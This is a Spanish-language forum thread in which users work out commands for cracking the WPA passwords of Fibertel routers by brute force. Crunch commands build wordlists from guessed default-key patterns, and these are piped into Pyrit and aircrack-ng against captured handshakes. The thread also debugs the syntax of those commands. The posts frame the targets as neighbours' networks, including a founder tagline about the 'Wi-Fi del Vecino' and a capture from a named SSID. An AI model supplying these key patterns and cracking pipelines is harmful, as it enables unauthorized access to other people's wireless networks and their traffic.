16 de Octubre de 2017, 08:55:02 pm
  • WPSdb - Base de Datos de Pines Online

Autor Tema: [REQ] Script te automitzacion de uso de los diccionarios con Pyrit.  (Leído 11192 veces)

Desconectado MaD_MaX

  • Usuario
  • *
  • Mensajes: 47
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« en: 28 de Junio de 2014, 10:19:50 am »
Hola.

Alguien (DEMON) puede hacer un script que automatize el uso de los diccionarios con Pyrit.

Motivo: Para Fibertel tengo 27 dic's. Y estar escribiendo "pyrit -r WiFi877-04.cap -i /root/Dics/# attack_passthrough" cada vez canza. Cada pass lleva entre un par de horas y 6 horas. Termine corriendo 3 procesos en paralelo. Pero sigue siendo incomodo.

Solucion - hacer un script que cambie el nombre del archivo del diccionario.

Hice diccionarios con los numeros concecutivos: 1-27

La solucion seria hacer un loop hasta encontarr el pass.
Algo similar a esto:
http://www.dotslashbacktrack.com/brute-force-wireless-page-5.html
La diferencia que aqui usan la BD. No le veo mucha diferencia. (Hacer la DB, parece que es mas rapido, pero despues debes comparar los PMKs con los de la captura, y se te va el tiempo tambien. No se, capaz es mejor pero no importa por ahora).

Si quiern, pueden tomar la idea de aqui tambien para particionar los diccionarios si son muy grandes (en el caso de usar los DIcs de internet, parece que con los de FB no hace falta)
http://code.google.com/p/pyrit/issues/detail?id=417

Los dics los cree con este comando:
Código: [Seleccionar]
crunch 9 9 -o 1 -t 004%%%%%%  && crunch 9 9 -o 2 -t 014%%%%%%  && crunch 9 9 -o 3 -t 004%%%%%%  && crunch 10 10 -o 4 -t %14%%%%%%%  && crunch 10 10 -o 5 -t 004%%%%%%%  && crunch 10 10 -o 6 -t 005%%%%%%%  && crunch 10 10 -o 7 -t 010%%%%%%%  && crunch 10 10 -o 8 -t 420%%%%%%%  && crunch 10 10 -o 9 -t 131%%%%%%%  && crunch 10 10 -o 10 -t 140%%%%%%%  && crunch 10 10 -o 11 -t 234%%%%%%%  && crunch 10 10 -o 12 -t 265%%%%%%%  && crunch 10 10 -o 13 -t 298%%%%%%%  && crunch 10 10 -o 14 -t 316%%%%%%%  && crunch 11 11 -o 15 -t 014%%%%%%%%   &&  crunch 11 11 -o 16 -t 004%%%%%%%% && crunch 11 11 -o 17 -t %%%%%%%%000 && crunch 13 13 -o 18 -t 004%%%%%%%%00 && crunch 13 13 -o 19 -t 26%%%%%%%%000 && crunch 13 13 -o 20 -t 260%%%%%%%abc && crunch 13 13 -o 21 -t 261%%%%%%%abc && crunch 13 13 -o 22 -t 262%%%%%%%abc && crunch 13 13 -o 23 -t 269%%%%%%%abc && crunch 13 13 -o 24 -t 420%%%%%%%000 && crunch 13 13 -o 25 -t 420%%%%%%%abc && crunch 13 13 -o 26 -t fibertel%%%%% && crunch 14 14 -o 27 -t 420%%%%%%%wifi


PD: usar PYRIT con la base de datos me parecio pedida de tiempo, ya que no tiene sentido pasar a la BD todos los pass y despues tenerlos almacenados ahi para correr el batch hasta encontrar la pass solo una vez. Tb perdida de almacenamiento. Los 60 Gb no me alcanzaron para todos los PMKs para los DIC's para 3 redes.

Tema en el Kali:
https://forums.kali.org/showthread.php?21481-How-to-use-Pyrit-Hashkat-with-several-diccionary-files
  • Antenas: Ninguna
  • Sistemas Operativos: Win 7 x64
  • Sistemas Operativos que utilizo para Auditar: Kali 1.0
  • Dispositivos Inalambricos: TP-Link TL-WN321G/Lattitude e6410

Desconectado diogenes

  • Usuario
  • *
  • Mensajes: 96
  • Reputación: +1/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #1 en: 28 de Junio de 2014, 09:51:50 pm »
muy interesante yo ya lo habia pensado estaria muy bueno poder pasar todos los diccionarios automaticamente!!! yo en mi caso hice los diccionarios por ejemplo:
de 0041000000 a 0041999999
de 0042000000 a 0042999999
de 0043000000 a 0043999999
lo hice en el rango 1000000 a 3999999 porque creo es lo mas factible dado q son dni para ahorrar tiempo aunque creo q los de 420 si puden ser del 0000000 al 9999999.
osea cada diccionario q paso lo dividi en 3 imaginense lo cansador q es pasar uno a uno jaja son muchos diccionarios.
Si se pudiera hacer algo para pasarlos automaticamente relamente seria un exito!!! saludos
  • Antenas: por defecto
  • Sistemas Operativos: vista
  • Sistemas Operativos que utilizo para Auditar: backtrack 5, wifiway y wifislax.
  • Dispositivos Inalambricos: WLAN usb2.0 chipset zydas

Desconectado MaD_MaX

  • Usuario
  • *
  • Mensajes: 47
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #2 en: 29 de Junio de 2014, 01:17:12 am »
Diogenes, en este caso no se trata de optimizar los diccionarios, sino automatizar el uso de los dics. Sepero que los grosos se metan.
  • Antenas: Ninguna
  • Sistemas Operativos: Win 7 x64
  • Sistemas Operativos que utilizo para Auditar: Kali 1.0
  • Dispositivos Inalambricos: TP-Link TL-WN321G/Lattitude e6410

Desconectado diogenes

  • Usuario
  • *
  • Mensajes: 96
  • Reputación: +1/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #3 en: 29 de Junio de 2014, 02:13:23 am »
Diogenes, en este caso no se trata de optimizar los diccionarios, sino automatizar el uso de los dics. Sepero que los grosos se metan.

si ya se pero comentaba q en mi caso al dividirlos asi son muchos mas diccionarios y se hace muy laborioso tener q probarlos uno a uno la verdad seria barbaro q se puedan automatizar!! saludos
  • Antenas: por defecto
  • Sistemas Operativos: vista
  • Sistemas Operativos que utilizo para Auditar: backtrack 5, wifiway y wifislax.
  • Dispositivos Inalambricos: WLAN usb2.0 chipset zydas

Desconectado diogenes

  • Usuario
  • *
  • Mensajes: 96
  • Reputación: +1/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #4 en: 11 de Julio de 2014, 09:00:26 pm »
Diogenes, en este caso no se trata de optimizar los diccionarios, sino automatizar el uso de los dics. Sepero que los grosos se metan.
hola alguna novedad respecto a la automatizacion de diccionarios? si te enteras de algo avisa q aca hay otro renegando con tantos diccionarios de fiber jaja saludos
  • Antenas: por defecto
  • Sistemas Operativos: vista
  • Sistemas Operativos que utilizo para Auditar: backtrack 5, wifiway y wifislax.
  • Dispositivos Inalambricos: WLAN usb2.0 chipset zydas

Desconectado MaD_MaX

  • Usuario
  • *
  • Mensajes: 47
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #5 en: 12 de Julio de 2014, 08:13:22 am »
No, nada.
Espere que D3M0N nos de una mano, pero sigimos esperando por ahora.
  • Antenas: Ninguna
  • Sistemas Operativos: Win 7 x64
  • Sistemas Operativos que utilizo para Auditar: Kali 1.0
  • Dispositivos Inalambricos: TP-Link TL-WN321G/Lattitude e6410

Desconectado D3M0N

  • Founder
  • Usuario
  • *
  • Mensajes: 3.114
  • Reputación: +247/-3
  • El Mate, La Netbook y Wi-Fi del Vecino!
  • awards Usuario con más de 2000 Posts! Miembro registrado desde 2010 Usuario Registrado
    • Arg-Wireless.com.ar
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #6 en: 12 de Julio de 2014, 05:36:21 pm »
Principalmente habría que ver de crear el diccionario de 1.000.000 a 40.000.000 pero sin crear el archivo, así evitamos el juego del espacio en disco, luego probar si pasa dos diccionarios juntos sin generar los archivos utilizando el && corriendo en // el AirCrack-NG. Con eso tendríamos básicamente planteado el script ahora simplemente manos a la obra!

Código: [Seleccionar]
crunch 10 10 0123456789 -t 004@@@@@@@ -s 0041000000 -e 0044500000

-s = Comienzo en... X. (Specifies a starting string, eg: 0041000000)
-e = Termino en... X. (Specifies when crunch should stop early)

Ahora probé con:

Código: [Seleccionar]
crunch 10 10 0123456789 -t 004@@@@@@@ -s 0041000000 -e 0041050000 && crunch 10 10 0123456789 -t 014@@@@@@@ -s 0141000000 -e 0141050000

Para testear y se pasa al otro dic sin problemas, ahora habría que testearlo en AirCrack.-
  • Antenas: Antena Komarov (Prototype), Antena Belgrain (MOD), Antenas 4, 5, 9dBi (omnis)
  • Sistemas Operativos: Microsoft Windows 7 Enterprice (x64), Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Sistemas Operativos que utilizo para Auditar: Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Dispositivos Inalambricos: Alfa AWUS036H 1W (USB); TP-Link TL-WN722N (USB); Ubiquiti Nanostation M2; Mikrotik RB951Ui-2HnD

Desconectado MaD_MaX

  • Usuario
  • *
  • Mensajes: 47
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #7 en: 16 de Julio de 2014, 09:50:27 am »
Habia probado de utilizar Crunch con el HashCat y Pyrrit por el STDOUT pero el inconveniente es que 1- no se puede resumir si necesitas pausar/interrumpir el proceso. 2- No sabes que diccionario se esta ciendo usado en dado momento por si (tenes que interrumpir).
Pero esta bien lo que decis, tema que son tantos diccionarios, que en mi maquina no llega a procesarlos en un dia, y capaz la maquina la necesito usar, y cuando esta al 100% del procesamiento (con pyrit llega a 15 mil PMKs), no responde a nada.
Por esta razon preferia el script para automatizar un poco el proceso.
  • Antenas: Ninguna
  • Sistemas Operativos: Win 7 x64
  • Sistemas Operativos que utilizo para Auditar: Kali 1.0
  • Dispositivos Inalambricos: TP-Link TL-WN321G/Lattitude e6410

Desconectado GSN

  • Usuario
  • *
  • Mensajes: 86
  • Reputación: +9/-0
  • GSN WISP
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #8 en: 16 de Julio de 2014, 12:29:45 pm »
Habría que ver, yo probé este code:

Código: [Seleccionar]
crunch 10 10 0123456789 -t 004@@@@@@@ -s 0041000000 -e 0041050000 && crunch 10 10 0123456789 -t 014@@@@@@@ -s 0141000000 -e 0141050000

pero cuando llega al final del primero tiene una pausa y sigue con el siguiente, cuestión que no tengo el aircrack para probar si fusiona sin problemas, veo si lo instalo porque estoy por windows, pero estaría bueno un script dedicado para linux con todas las opciones.
  • Antenas: Todas
  • Sistemas Operativos: Microsoft Windows 7, Linux
  • Sistemas Operativos que utilizo para Auditar: *
  • Dispositivos Inalambricos: Todas

Desconectado D3M0N

  • Founder
  • Usuario
  • *
  • Mensajes: 3.114
  • Reputación: +247/-3
  • El Mate, La Netbook y Wi-Fi del Vecino!
  • awards Usuario con más de 2000 Posts! Miembro registrado desde 2010 Usuario Registrado
    • Arg-Wireless.com.ar
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #9 en: 16 de Julio de 2014, 11:38:28 pm »
Sep, yo estoy corto con los tiempos. Si alguien se prueba lo del aircrack el finde si puedo voy armando el script.
  • Antenas: Antena Komarov (Prototype), Antena Belgrain (MOD), Antenas 4, 5, 9dBi (omnis)
  • Sistemas Operativos: Microsoft Windows 7 Enterprice (x64), Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Sistemas Operativos que utilizo para Auditar: Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Dispositivos Inalambricos: Alfa AWUS036H 1W (USB); TP-Link TL-WN722N (USB); Ubiquiti Nanostation M2; Mikrotik RB951Ui-2HnD

Desconectado diogenes

  • Usuario
  • *
  • Mensajes: 96
  • Reputación: +1/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #10 en: 27 de Julio de 2014, 05:40:28 am »
buenisimo chicos se pasan!! ahora ya es muy tarde me voy a dormir pero ya lo estare probando a esto q comentan.

saludos
  • Antenas: por defecto
  • Sistemas Operativos: vista
  • Sistemas Operativos que utilizo para Auditar: backtrack 5, wifiway y wifislax.
  • Dispositivos Inalambricos: WLAN usb2.0 chipset zydas

Desconectado diogenes

  • Usuario
  • *
  • Mensajes: 96
  • Reputación: +1/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #11 en: 28 de Julio de 2014, 04:38:50 am »
hola les comento q probe lanzar ese script directo contra aircrack sin guardar el diccionario en disco duro ¿seria sin la opcion <-o START> verdad?:

Código: [Seleccionar]
crunch 10 10 0123456789 -t 004@@@@@@@ -s 0041000000 -e 0044500000 && crunch 10 10 0123456789 -t 014@@@@@@@ -s 0141000000 -e 0144500000 | aircrack-ng file-*.cap -e (SSID) -w -

pero solo me paso el diccionario 004 ! el diccionario 014 ni rastro...

Cambiando la sintaxis para otro ataque quiero lanzar crunch directo contra aircrack sin guardar en disco duro:
Código: [Seleccionar]
crunch 9 9 0123456789 -t %%%%%%%%% | aircrack-ng /root/Desktop/mariano-02.cap -e MARIANO -w w
y me sale el siguiente error:
Crunch will now generate the following amount of data: 10000000000 bytes
9536 MB
9 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000000000
fopen(dictionary) failed: No such file or directory                                                           
fopen(dictionary) failed: No such file or directory                                                           
Opening /root/Desktop/mariano-02.cap                                                                         
Read 14307 packets.
                                                                                                             
Opening /root/Desktop/mariano-02.cap                                                                         
Please specify a dictionary (option -w).                                                                     
                                                                                                             
                                                                                                             
Quitting aircrack-ng...   


alguno tiene idea de x q no me deja?

  • Antenas: por defecto
  • Sistemas Operativos: vista
  • Sistemas Operativos que utilizo para Auditar: backtrack 5, wifiway y wifislax.
  • Dispositivos Inalambricos: WLAN usb2.0 chipset zydas

Desconectado D3M0N

  • Founder
  • Usuario
  • *
  • Mensajes: 3.114
  • Reputación: +247/-3
  • El Mate, La Netbook y Wi-Fi del Vecino!
  • awards Usuario con más de 2000 Posts! Miembro registrado desde 2010 Usuario Registrado
    • Arg-Wireless.com.ar
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #12 en: 03 de Agosto de 2014, 05:13:00 pm »
@diogenes: si es sin usar el -o START. Bien proba si te lo toma usando el | en vez de &&:

Código: [Seleccionar]
crunch 10 10 0123456789 -t 004@@@@@@@ -s 0041000000 -e 0044500000 | crunch 10 10 0123456789 -t 014@@@@@@@ -s 0141000000 -e 0144500000 | aircrack-ng file-*.cap -e (SSID) -w -

si funciona recortaría bastante el Script, de lo contrario tendríamos que crear el archivo, luego levantarlo y pasarlo y es perdida de tiempo, pero si no queda otra...

Por parte de tu otro crack, en AirCrack en el -w w tenes que poner -w - sino va a buscar en el directorio /w/ por eso te da el mensaje: failed: No such file or directory y después te vuelve a mostrar Please specify a dictionary (option -w).
  • Antenas: Antena Komarov (Prototype), Antena Belgrain (MOD), Antenas 4, 5, 9dBi (omnis)
  • Sistemas Operativos: Microsoft Windows 7 Enterprice (x64), Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Sistemas Operativos que utilizo para Auditar: Ubuntu 14.10.1 LTS Desktop Edition 64-bit
  • Dispositivos Inalambricos: Alfa AWUS036H 1W (USB); TP-Link TL-WN722N (USB); Ubiquiti Nanostation M2; Mikrotik RB951Ui-2HnD

Desconectado diogenes

  • Usuario
  • *
  • Mensajes: 96
  • Reputación: +1/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #13 en: 05 de Agosto de 2014, 05:18:50 pm »
solucionado el ultimo error q me daba era por mala sintaxis:

Código: [Seleccionar]
crunch 9 9 0123456789 -t %%%%%%%%% | aircrack-ng /root/Desktop/mariano-02.cap -e MARIANO -w w

el comando correcto finaliza con "-" en vez de la "w" seria el siguiente:

Código: [Seleccionar]
crunch 9 9 0123456789 -t %%%%%%%%% | aircrack-ng /root/Desktop/mariano-02.cap -e MARIANO -w -
  • Antenas: por defecto
  • Sistemas Operativos: vista
  • Sistemas Operativos que utilizo para Auditar: backtrack 5, wifiway y wifislax.
  • Dispositivos Inalambricos: WLAN usb2.0 chipset zydas

Desconectado MaD_MaX

  • Usuario
  • *
  • Mensajes: 47
  • Reputación: +0/-0
  • Usuario
  • awards Usuario Registrado
    • Awards
Re:[REQ] Script te automitzacion de uso de los diccionarios con Pyrit.
« Respuesta #14 en: 09 de Octubre de 2014, 03:25:23 pm »
Hoy pruebo en casa los comandos que pasaron.

Entiendo que agrega dificultad, pero la idea era: Al usar todos los diccionarios, se lleva mucho tiempo, es posible con algun script hacer que cuando queras cortar la ejecucion y en otro momento reanudar desde donde se corto?

Mucho pedir pero bue, anda saber capaz es una pabada. Gracias.
  • Antenas: Ninguna
  • Sistemas Operativos: Win 7 x64
  • Sistemas Operativos que utilizo para Auditar: Kali 1.0
  • Dispositivos Inalambricos: TP-Link TL-WN321G/Lattitude e6410